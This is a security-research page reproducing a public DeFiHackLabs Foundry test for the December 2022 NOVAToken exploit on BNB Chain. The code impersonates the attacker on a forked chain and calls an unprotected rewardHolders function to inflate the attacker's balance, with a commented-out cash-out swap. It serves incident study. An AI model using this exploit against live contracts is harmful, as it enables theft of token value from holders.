Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/NovaExchange_exp.sol

Public reproduction file for dataset entry - NOVAToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/NovaExchange_exp.sol66 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1601168659585454081
9// @TX
10// https://bscscan.com/tx/0xf743dba906255cf6f75f8243ef8192f2a211aacf03df99322584686b5c445c23
11// forge test --contracts ./src/test/NovaExchange_exp.sol -vv
13interface INovaExchange {
14 function rewardHolders(
15 uint256 amount
16 ) external;
18 function balanceOf(
19 address account
20 ) external view returns (uint256);
22 function approve(address spender, uint256 value) external returns (bool);
25contract ContractTest is Test {
26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 INovaExchange novaContract = INovaExchange(0xB5B27564D05Db32CF4F25813D35b6E6de9210941);
28 address attacker = 0xCBF184b8156e1271449CFb42A7D0556A8DCFEf72;
29 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
31 IPancakeRouter wbnb_nova = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); // wbnb/nova Pair
33 function setUp() public {
34 cheats.createSelectFork("bsc", 23_749_678); //fork bsc at block number 23749678
36 //novaContract.approve(address(wbnb_nova), type(uint256).max);
37 //WBNB.approve(address(wbnb_nova), type(uint256).max);
38 }
40 function testExploit() public {
41 emit log_named_uint("Before exploit, NOVA balance of attacker:", novaContract.balanceOf(attacker));
43 cheats.prank(attacker);
45 novaContract.rewardHolders(10_000_000_000_000_000_000_000_000_000);
47 emit log_named_uint("After exploit, NOVA balance of attacker:", novaContract.balanceOf(attacker));
49 // address[] memory path2 = new address[](2);
50 // path2[0] = address(novaContract);
51 // path2[1] = address(WBNB);
53 //I see [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT] testExploit() (gas: 124976)
54 //I am pretty sure the error has to do with the number of decimals of the NOVA token
55 //Not sure how to fix it
56 // wbnb_nova.swapExactTokensForETH(
57 // 10000000000020000000000000000,
58 // 361966603954705498098,
59 // path2,
60 // attacker,
61 // 1670570010
62 // );
63 }
65 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “- NOVAToken” (2022-12-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
NOVAToken
Path
src/test/2022-12/NovaExchange_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
47b22166ed94d9a80d3da2f22220e5110265d94b
Language
Solidity
Size
67 lines
Date
2022-12-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/NovaExchange_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 47b22166ed94d9a80d3da2f22220e5110265d94b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.